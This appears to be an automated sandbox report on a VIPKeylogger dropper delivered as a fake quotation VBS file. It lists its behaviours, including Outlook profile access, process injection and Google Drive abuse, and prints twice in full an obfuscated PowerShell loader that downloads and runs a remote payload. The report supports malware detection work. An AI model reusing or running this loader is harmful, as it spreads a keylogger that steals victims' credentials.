Analysis Overview
SHA256
1efb8676f8d9d101a92a618fed06d4a4b53fcd459b7dbcdbf34d4ebb5f9fd180
Threat Level: Known bad
The file Request For Quotation-RFQ097524.vbs was found to be: Known bad.
Malicious Activity Summary
Vipkeylogger family
VIPKeylogger
Blocklisted process makes network request
Checks computer location settings
Legitimate hosting services abused for malware hosting/C2
Command and Scripting Interpreter: PowerShell
Looks up external IP address via web service
Accesses Microsoft Outlook profiles
Suspicious use of NtCreateThreadExHideFromDebugger
Suspicious use of NtSetInformationThreadHideFromDebugger
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Browser Information Discovery
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: MapViewOfSection
outlook_office_path
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
outlook_win_path
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-30 06:23
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-30 06:23
Reported
2024-10-30 06:25
Platform
win7-20240903-en
Max time kernel
150s
Max time network
121s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2384 wrote to memory of 2940 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2384 wrote to memory of 2940 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2384 wrote to memory of 2940 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Request For Quotation-RFQ097524.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Antiunionist Proboulevard produktionsdatabaser Kortende Tigerstribedes Umeddelsomheds Polyesterne #>;$Brystbilledernes='Huisher';<#Faderkrligheden Beswelter Negritian Lnsystemets #>; function Kammerherrens($Ferroelectric){If ($host.DebuggerEnabled) {$Vandvarmers++;}$Snobbedes=$Udmatrikulerings+$Ferroelectric.'Length'-$Vandvarmers; for ( $Nondilution=5;$Nondilution -lt $Snobbedes;$Nondilution+=6){$Wessands65=$Nondilution;$Regnmaalerens+=$Ferroelectric[$Nondilution];}$Regnmaalerens;}function tugtelsen($Kneepan){ . ($Interfirm) ($Kneepan);}$Colossuses=Kammerherrens ' dlydM U,daoS,uirzS ftwi Ep plUnclol.odtaaKr.nr/Maalt ';$Linecut=Kammerherrens 'RaffiTHukomlBa tesRemou1Hunde2Skyde ';$Usystematisk='Eugub[IwaiwN Ty,ieHovedTFo mu. AgtesTil.eEKhankr TrolvSkattiKlunkC PrerE onoP GuarOpos.uI A tiNk oket isemBlegeA CounnSkjteA IndeGRe lie V cerTaila]End r:Ventr:JordcSMisdaEOotheC.adicURestarGenfoIAutortSurcuyNonviP hederAdv nONonupT teniOWoolpcMesiaODubleLFeret= ,ort$ Fe tLCykelISymasnSylvaE,rbejCDerouu La iTespec ';$Colossuses+=Kammerherrens 'Sgema5Drong.Angl 0An to Ridd (MonogWsekuli BasinUncomdVelgroForliwWea,es empu Pib oNledsaT iphy Magya1Kal i0Stroi.Gloub0Pirss;Ekspe S raaWParceiSpo,nnB,rhm6 Over4 Brug;Misgo ArchaxStear6D bbe4Jal.u; hora Jazzirsisisvhyper:Ibrnd1 rne3 Veks1Ris,a.Cruda0Gudls),ange UveiGFremhefermecArm.rk Dre oCon e/ Kur 2Reple0 Fosf1p umu0 Dalz0 Kalk1Amice0 Es e1Gal a ScotoFStr niBlackrSnoree Ker.f,noovoJuglax lo.a/poter1Rewei3Nailf1Tavet. Eige0physi ';$Tappested=Kammerherrens 'Hawk,uInspisaoriseLivsfRCen r-PseudAEkvilGTriioe A omnSubicTCount ';$Pigeonman=Kammerherrens 'Sammeh fordtpho at MythpKi,otsKukke:La se/Latit/Jo gldUdsknrUddaniPneumv pleteUgled. vrtg,rogloUnmacoSmaaggSnabllUndereFlanc.P.intcFarmaogarhwmNon r/ ndosuI hthcPsych?f rteeP eudxGoterp ovbeoHemmerFlaadtmatur= Tr nd Pesso lbinwPopianReuc,lTr nsoRepara veksdLysts& Fan,iHassedParaf=Mycor1MayflwDiamexOv rbs ChlocDechexKnst.yAr hr0Dem.mmUnd rH Disshro kl3rverbwBet,nm A loXHydro0MistakGunteiUdskn0Pus eQLytteI ,ortn MargsRetteNBlastjdis o- CowbTAvisiGsen ajKonse7CitadOTokro3SkrueLclin. ';$Groundplot=Kammerherrens 'Yucke>Unind ';$Interfirm=Kammerherrens 'NonseIunexie,emilX eena ';$Generalpauses='Mandants';$Retfrdigt='\Deponeringen.Fer';tugtelsen (Kammerherrens 'Tredj$.tatuG sammLE,tabOJagttb FlagAP,pcoL Ro e:ProcesGenercForpaU TratLHaft L SkibdCoriau TeleGOvermg rgaEcoun RP,astYAcule=C nte$UkvinEV.derN.enatV Hres: MineARedosP acriPLandsDSoldrAUnexptSamfuasubst+Tumli$SomalRHa tuE.ndskt SkalFUnparR.arboDspadeiAnti g UrydT edig ');tugtelsen (Kammerherrens ' spec$ H adgMiskmlShamboPlatibEfforABlundl .qua:Foi lrOut reOverpS elinOGenfdCFrancIGrunda KonkLprcisITerbaS Geu,EgaloiR BordiRkenln EctrGF nboSSkyggIRe,renlagris PertTR gioIConnotPreprulouchtBorgmIB ccioBeginN ,uleeOve hrsofis= ndby$Kjol,P SkiliSepargSkr nENy tiOSbe,pNHestemk,eskaTopdeNOph,v.Sal.oSUnderPEk,isLCompeiSta aTSpydi(Varet$PlastgNeu oR Fon OI,speuOpspoNDiesed Insip CineL WondOHandet Dr,g)R,ght ');tugtelsen (Kammerherrens $Usystematisk);$Pigeonman=$Resocialiseringsinstitutioner[0];$Lithophane=(Kammerherrens ' Vels$ CommgButleL FaviOValgmbAfsynAGens l krt:Jyskho Li ivLipocE pendR B rgrSamleoGrshoSVanmde Wo,d=KogejnO ddeEBarnewTndem-An ono De ibSamlsJ jruleTillaCIndkrtOct h SpkkeS,nthoyBekenSFeodcTBordaeBlousm Semi.SqueanCoasse PresT East.RdsptwHu oreMartab Jrl,CMisrelKoinciReedieSubgaNtab lTVakte ');tugtelsen ($Lithophane);tugtelsen (Kammerherrens 'Teltp$Mon poSpirkvKompoe RomerDy,trr UndeoAngeys iceneImmer.I disH Bio.e etca ndeldconice Hoydr f,nds olon[Lyren$HorriT,vninaHex,spantikpShelveforeisTillit TolleModerdHidfr] ract=Afpas$ExsciC CladoMykollBunkeoTidsssFuttosNeut u moebsNonunecomprsFo,fr ');$Resorberbart=Kammerherrens ' nste$Udd toDedecv EibreKa pdrSep lr FiksoPlagos Rente tder. SkulD Jor o d mowN ndin kslilInst.oTi ska,enefdletmeFReinai Re ilT.gkoeSelv (Under$NyhedP C spiEx itgontoleA tivo OpsanSvensmForstaUrssfn Semi,Sikke$OverfUFilianKonstfhasp eSnoreuUl radDemu aPitiel ForsiBalkizPulasiSandwn Lifeg D se)R,stl ';$Unfeudalizing=$Scullduggery;tugtelsen (Kammerherrens ' Flyv$Brdebg BurnL S.atoinstab M.liAAfskalSkaal:MarkssInguitDvaskEFor arGrs nEStyrioOxygos Mid,PCanu,eStedeCStjkiiBr mdFRacemiSiouxC avre=austr(Tir cTBondee TotaSHeartTAnast-G.nocpS,rteA PlutT Snegh,hrio Un e$Soapwu Elgun D,ubf Absoe arlau CentDTungma steplUds.oIBathmzHyperit ndeN WarsGVo.it)Samme ');while (!$stereospecific) {tugtelsen (Kammerherrens 'Ur,nv$DegragD dislStylioSyphib ociaaSubtrlSande: FyriJTh omoskeblbthi ssSam ekFestbaStomab FamieAktualSu ars PropeIltins Immio ImperFizeadstemlnO nibi Biotn Li igTrkgaeeluderFra csLaryn2 Spec5Skreg4 Foru= Wha $RegretB biir lemtuRi ide stro ') ;tugtelsen $Resorberbart;tugtelsen (Kammerherrens 'StradsDisk TFlotsa SheeRFdseltlogic-Su teSDrm.elCe,ebeHesteEbagskPForv Indva4P eud ');tugtelsen (Kammerherrens 'Udsti$GillhgLefl L Outro TegnbNaptha ,iliL.arin: TippS SulpTre iseVandlrRos.nEKontaoAcumis UnrePtaintePolakcSkrydICathofT,inei Ung.cukoll= sini(BidraTMacarEGammisDyksvTKlbeh-ElectpEgenvAaureotObs.ih Shri unapp$Antrou OlennMawpuf AdanEN,urouP.ogrdTw stAMet dLGuidiIEjendZ Smooi po tNEftergMelil) lbes ') ;tugtelsen (Kammerherrens 'Compu$DeltagRudelLTanksO andlb QuelAFor,iLPropr:N ncos lgn,p chameBaskek igphUs bdal UlceA Bap.tLsseniAttenoimmigNKrokesFormuBBarfoY An iGFloorg InteE Sla RPateniarchieTrafitAdvan=Rygel$Phreng Fierl.nogloSuperbGuldsaAmi alAfson:Erhven OverUDensilKlageLSubstU Selvs Eks.+Glas.+ds gh%o.tsc$AntimRSvigteDurkiSwishfoR tioCErnriiTilbeaAnsv,lVer,rIklageSBef,reSup rRT bakIFilmiN iabegkaskasRestrIUl,kkN SilasHjemkTElec ip,ocrTRoughuBlokeT MarkInonsoOanticn DommESantorOli.f.RringcTric.OH,nsyU D wanEcc.nTMa,on ') ;$Pigeonman=$Resocialiseringsinstitutioner[$Spekulationsbyggeriet];}$Delarbejders=288762;$Tommevise=31671;tugtelsen (Kammerherrens 'Opsti$E cycGBarskLSvejfOEthnob yrogACommuLBea,w:EremiAJustiFCholeHHenbao BystLLeangDP oviEKvit N AutodDir.keWordc inter=Indis SinkeGBanalESysteTSurci-H.terCDis,uO eninnLe edtUnveneCorclNSne eTGifti Buats$EpicoUanacrnSskenF anuE ReflufluidDAntipaNyklaLsagadIForvazForski .aesnSulkyG slit ');tugtelsen (Kammerherrens 'Ejers$.orsygGe.ejlKond,o SkorbUltamaUn ullMicro: BlufGKranih azzeahofmanMedfaaSanitiInddaaPjasknHjemm Hjoer=Funkl Drun [BrnesSFinteyLoun sNjalstIllumeM nitmPosto.SingsCequatoMetalnhamlivRetireTra srDerivtSnrel]Stick: Reob:Ang.tFHig.hr SoproUncl mFi icB krteaSk alsMuddeeu.beg6Brist4TidebS CyketP nnerUddaniPermanRaptug Ma d(Storr$S,parAPaed.f P,nehCoeduoOptralAnukadPsyl e Co,nngalvadb.nkbeBesse)Stilg ');tugtelsen (Kammerherrens 'Gruel$SlbemgGlottlInteroLsretbBlideaNyde.LGipsy:PanamFOctaniS lskSCortekIronlePlatyAEtti,uI dsikRenegtQuartiHaemoosjl vnMenneeUnto nPanfiS oder Logge= A ae Kr ts[EndosSEtiopyPhytoSCeintT rkkeEBieenM.lech.FlasktPhotoEpseudXPh,lotLns m. Pr.lEk talnKilenc Sgero.ammedMicr iPile NLenarG lukn]dyref:Omnor:Pen,lA,omensMespocCatguIAncyliSats .S ikeg ivene,endeTBaselS thonTOksetRhell IRegnsnHistogFuse,( Gyps$KejseGImposHKaninan.npuNLn,dgARing iKrakiASktteNracer)Uneva ');tugtelsen (Kammerherrens ' agn$ Ca.iGRee iLvend,OH utbBMenneaUdskrl Fler:BiopsMPrin eYorkeT HispH longaCuma,n DarwAAbef T.aralEForlf= Unva$Jug efAntitiDebadsTwittKOveraE,alloA apituResidkSewerTPlectIMono OVivacnEncepeHabr NKnubssThy i.Fla kSlinguUBek,pBRovemSHondutPre aR oelviServ,nPhylag Nata( Pach$Mi.iadformaEPoserlJurymaJun,orUdbydBO twiESelvlj S irDBouriEStemmrSnekksNyhed,Fld.f$ BlenTCheckoSlamam consm AvlsELddenvnirvaIPanopsSuperEFunkt) ejli ');tugtelsen $Methanate;"
Network
Files
memory/2940-4-0x000007FEF629E000-0x000007FEF629F000-memory.dmp
memory/2940-5-0x000000001B620000-0x000000001B902000-memory.dmp
memory/2940-6-0x0000000001E00000-0x0000000001E08000-memory.dmp
memory/2940-7-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp
memory/2940-8-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp
memory/2940-9-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp
memory/2940-10-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp
memory/2940-11-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp
memory/2940-12-0x000007FEF629E000-0x000007FEF629F000-memory.dmp
memory/2940-13-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp
memory/2940-14-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp
memory/2940-15-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-10-30 06:23
Reported
2024-10-30 06:25
Platform
win10v2004-20241007-en
Max time kernel
143s
Max time network
148s
Command Line
Signatures
VIPKeylogger
Vipkeylogger family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\SysWOW64\msiexec.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
Browser Information Discovery
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\msiexec.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4044 wrote to memory of 2908 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4044 wrote to memory of 2908 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4724 wrote to memory of 2284 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\SysWOW64\msiexec.exe |
| PID 4724 wrote to memory of 2284 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\SysWOW64\msiexec.exe |
| PID 4724 wrote to memory of 2284 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\SysWOW64\msiexec.exe |
| PID 4724 wrote to memory of 2284 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\SysWOW64\msiexec.exe |
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\SysWOW64\msiexec.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\SysWOW64\msiexec.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Request For Quotation-RFQ097524.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Antiunionist Proboulevard produktionsdatabaser Kortende Tigerstribedes Umeddelsomheds Polyesterne #>;$Brystbilledernes='Huisher';<#Faderkrligheden Beswelter Negritian Lnsystemets #>; function Kammerherrens($Ferroelectric){If ($host.DebuggerEnabled) {$Vandvarmers++;}$Snobbedes=$Udmatrikulerings+$Ferroelectric.'Length'-$Vandvarmers; for ( $Nondilution=5;$Nondilution -lt $Snobbedes;$Nondilution+=6){$Wessands65=$Nondilution;$Regnmaalerens+=$Ferroelectric[$Nondilution];}$Regnmaalerens;}function tugtelsen($Kneepan){ . ($Interfirm) ($Kneepan);}$Colossuses=Kammerherrens ' dlydM U,daoS,uirzS ftwi Ep plUnclol.odtaaKr.nr/Maalt ';$Linecut=Kammerherrens 'RaffiTHukomlBa tesRemou1Hunde2Skyde ';$Usystematisk='Eugub[IwaiwN Ty,ieHovedTFo mu. AgtesTil.eEKhankr TrolvSkattiKlunkC PrerE onoP GuarOpos.uI A tiNk oket isemBlegeA CounnSkjteA IndeGRe lie V cerTaila]End r:Ventr:JordcSMisdaEOotheC.adicURestarGenfoIAutortSurcuyNonviP hederAdv nONonupT teniOWoolpcMesiaODubleLFeret= ,ort$ Fe tLCykelISymasnSylvaE,rbejCDerouu La iTespec ';$Colossuses+=Kammerherrens 'Sgema5Drong.Angl 0An to Ridd (MonogWsekuli BasinUncomdVelgroForliwWea,es empu Pib oNledsaT iphy Magya1Kal i0Stroi.Gloub0Pirss;Ekspe S raaWParceiSpo,nnB,rhm6 Over4 Brug;Misgo ArchaxStear6D bbe4Jal.u; hora Jazzirsisisvhyper:Ibrnd1 rne3 Veks1Ris,a.Cruda0Gudls),ange UveiGFremhefermecArm.rk Dre oCon e/ Kur 2Reple0 Fosf1p umu0 Dalz0 Kalk1Amice0 Es e1Gal a ScotoFStr niBlackrSnoree Ker.f,noovoJuglax lo.a/poter1Rewei3Nailf1Tavet. Eige0physi ';$Tappested=Kammerherrens 'Hawk,uInspisaoriseLivsfRCen r-PseudAEkvilGTriioe A omnSubicTCount ';$Pigeonman=Kammerherrens 'Sammeh fordtpho at MythpKi,otsKukke:La se/Latit/Jo gldUdsknrUddaniPneumv pleteUgled. vrtg,rogloUnmacoSmaaggSnabllUndereFlanc.P.intcFarmaogarhwmNon r/ ndosuI hthcPsych?f rteeP eudxGoterp ovbeoHemmerFlaadtmatur= Tr nd Pesso lbinwPopianReuc,lTr nsoRepara veksdLysts& Fan,iHassedParaf=Mycor1MayflwDiamexOv rbs ChlocDechexKnst.yAr hr0Dem.mmUnd rH Disshro kl3rverbwBet,nm A loXHydro0MistakGunteiUdskn0Pus eQLytteI ,ortn MargsRetteNBlastjdis o- CowbTAvisiGsen ajKonse7CitadOTokro3SkrueLclin. ';$Groundplot=Kammerherrens 'Yucke>Unind ';$Interfirm=Kammerherrens 'NonseIunexie,emilX eena ';$Generalpauses='Mandants';$Retfrdigt='\Deponeringen.Fer';tugtelsen (Kammerherrens 'Tredj$.tatuG sammLE,tabOJagttb FlagAP,pcoL Ro e:ProcesGenercForpaU TratLHaft L SkibdCoriau TeleGOvermg rgaEcoun RP,astYAcule=C nte$UkvinEV.derN.enatV Hres: MineARedosP acriPLandsDSoldrAUnexptSamfuasubst+Tumli$SomalRHa tuE.ndskt SkalFUnparR.arboDspadeiAnti g UrydT edig ');tugtelsen (Kammerherrens ' spec$ H adgMiskmlShamboPlatibEfforABlundl .qua:Foi lrOut reOverpS elinOGenfdCFrancIGrunda KonkLprcisITerbaS Geu,EgaloiR BordiRkenln EctrGF nboSSkyggIRe,renlagris PertTR gioIConnotPreprulouchtBorgmIB ccioBeginN ,uleeOve hrsofis= ndby$Kjol,P SkiliSepargSkr nENy tiOSbe,pNHestemk,eskaTopdeNOph,v.Sal.oSUnderPEk,isLCompeiSta aTSpydi(Varet$PlastgNeu oR Fon OI,speuOpspoNDiesed Insip CineL WondOHandet Dr,g)R,ght ');tugtelsen (Kammerherrens $Usystematisk);$Pigeonman=$Resocialiseringsinstitutioner[0];$Lithophane=(Kammerherrens ' Vels$ CommgButleL FaviOValgmbAfsynAGens l krt:Jyskho Li ivLipocE pendR B rgrSamleoGrshoSVanmde Wo,d=KogejnO ddeEBarnewTndem-An ono De ibSamlsJ jruleTillaCIndkrtOct h SpkkeS,nthoyBekenSFeodcTBordaeBlousm Semi.SqueanCoasse PresT East.RdsptwHu oreMartab Jrl,CMisrelKoinciReedieSubgaNtab lTVakte ');tugtelsen ($Lithophane);tugtelsen (Kammerherrens 'Teltp$Mon poSpirkvKompoe RomerDy,trr UndeoAngeys iceneImmer.I disH Bio.e etca ndeldconice Hoydr f,nds olon[Lyren$HorriT,vninaHex,spantikpShelveforeisTillit TolleModerdHidfr] ract=Afpas$ExsciC CladoMykollBunkeoTidsssFuttosNeut u moebsNonunecomprsFo,fr ');$Resorberbart=Kammerherrens ' nste$Udd toDedecv EibreKa pdrSep lr FiksoPlagos Rente tder. SkulD Jor o d mowN ndin kslilInst.oTi ska,enefdletmeFReinai Re ilT.gkoeSelv (Under$NyhedP C spiEx itgontoleA tivo OpsanSvensmForstaUrssfn Semi,Sikke$OverfUFilianKonstfhasp eSnoreuUl radDemu aPitiel ForsiBalkizPulasiSandwn Lifeg D se)R,stl ';$Unfeudalizing=$Scullduggery;tugtelsen (Kammerherrens ' Flyv$Brdebg BurnL S.atoinstab M.liAAfskalSkaal:MarkssInguitDvaskEFor arGrs nEStyrioOxygos Mid,PCanu,eStedeCStjkiiBr mdFRacemiSiouxC avre=austr(Tir cTBondee TotaSHeartTAnast-G.nocpS,rteA PlutT Snegh,hrio Un e$Soapwu Elgun D,ubf Absoe arlau CentDTungma steplUds.oIBathmzHyperit ndeN WarsGVo.it)Samme ');while (!$stereospecific) {tugtelsen (Kammerherrens 'Ur,nv$DegragD dislStylioSyphib ociaaSubtrlSande: FyriJTh omoskeblbthi ssSam ekFestbaStomab FamieAktualSu ars PropeIltins Immio ImperFizeadstemlnO nibi Biotn Li igTrkgaeeluderFra csLaryn2 Spec5Skreg4 Foru= Wha $RegretB biir lemtuRi ide stro ') ;tugtelsen $Resorberbart;tugtelsen (Kammerherrens 'StradsDisk TFlotsa SheeRFdseltlogic-Su teSDrm.elCe,ebeHesteEbagskPForv Indva4P eud ');tugtelsen (Kammerherrens 'Udsti$GillhgLefl L Outro TegnbNaptha ,iliL.arin: TippS SulpTre iseVandlrRos.nEKontaoAcumis UnrePtaintePolakcSkrydICathofT,inei Ung.cukoll= sini(BidraTMacarEGammisDyksvTKlbeh-ElectpEgenvAaureotObs.ih Shri unapp$Antrou OlennMawpuf AdanEN,urouP.ogrdTw stAMet dLGuidiIEjendZ Smooi po tNEftergMelil) lbes ') ;tugtelsen (Kammerherrens 'Compu$DeltagRudelLTanksO andlb QuelAFor,iLPropr:N ncos lgn,p chameBaskek igphUs bdal UlceA Bap.tLsseniAttenoimmigNKrokesFormuBBarfoY An iGFloorg InteE Sla RPateniarchieTrafitAdvan=Rygel$Phreng Fierl.nogloSuperbGuldsaAmi alAfson:Erhven OverUDensilKlageLSubstU Selvs Eks.+Glas.+ds gh%o.tsc$AntimRSvigteDurkiSwishfoR tioCErnriiTilbeaAnsv,lVer,rIklageSBef,reSup rRT bakIFilmiN iabegkaskasRestrIUl,kkN SilasHjemkTElec ip,ocrTRoughuBlokeT MarkInonsoOanticn DommESantorOli.f.RringcTric.OH,nsyU D wanEcc.nTMa,on ') ;$Pigeonman=$Resocialiseringsinstitutioner[$Spekulationsbyggeriet];}$Delarbejders=288762;$Tommevise=31671;tugtelsen (Kammerherrens 'Opsti$E cycGBarskLSvejfOEthnob yrogACommuLBea,w:EremiAJustiFCholeHHenbao BystLLeangDP oviEKvit N AutodDir.keWordc inter=Indis SinkeGBanalESysteTSurci-H.terCDis,uO eninnLe edtUnveneCorclNSne eTGifti Buats$EpicoUanacrnSskenF anuE ReflufluidDAntipaNyklaLsagadIForvazForski .aesnSulkyG slit ');tugtelsen (Kammerherrens 'Ejers$.orsygGe.ejlKond,o SkorbUltamaUn ullMicro: BlufGKranih azzeahofmanMedfaaSanitiInddaaPjasknHjemm Hjoer=Funkl Drun [BrnesSFinteyLoun sNjalstIllumeM nitmPosto.SingsCequatoMetalnhamlivRetireTra srDerivtSnrel]Stick: Reob:Ang.tFHig.hr SoproUncl mFi icB krteaSk alsMuddeeu.beg6Brist4TidebS CyketP nnerUddaniPermanRaptug Ma d(Storr$S,parAPaed.f P,nehCoeduoOptralAnukadPsyl e Co,nngalvadb.nkbeBesse)Stilg ');tugtelsen (Kammerherrens 'Gruel$SlbemgGlottlInteroLsretbBlideaNyde.LGipsy:PanamFOctaniS lskSCortekIronlePlatyAEtti,uI dsikRenegtQuartiHaemoosjl vnMenneeUnto nPanfiS oder Logge= A ae Kr ts[EndosSEtiopyPhytoSCeintT rkkeEBieenM.lech.FlasktPhotoEpseudXPh,lotLns m. Pr.lEk talnKilenc Sgero.ammedMicr iPile NLenarG lukn]dyref:Omnor:Pen,lA,omensMespocCatguIAncyliSats .S ikeg ivene,endeTBaselS thonTOksetRhell IRegnsnHistogFuse,( Gyps$KejseGImposHKaninan.npuNLn,dgARing iKrakiASktteNracer)Uneva ');tugtelsen (Kammerherrens ' agn$ Ca.iGRee iLvend,OH utbBMenneaUdskrl Fler:BiopsMPrin eYorkeT HispH longaCuma,n DarwAAbef T.aralEForlf= Unva$Jug efAntitiDebadsTwittKOveraE,alloA apituResidkSewerTPlectIMono OVivacnEncepeHabr NKnubssThy i.Fla kSlinguUBek,pBRovemSHondutPre aR oelviServ,nPhylag Nata( Pach$Mi.iadformaEPoserlJurymaJun,orUdbydBO twiESelvlj S irDBouriEStemmrSnekksNyhed,Fld.f$ BlenTCheckoSlamam consm AvlsELddenvnirvaIPanopsSuperEFunkt) ejli ');tugtelsen $Methanate;"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
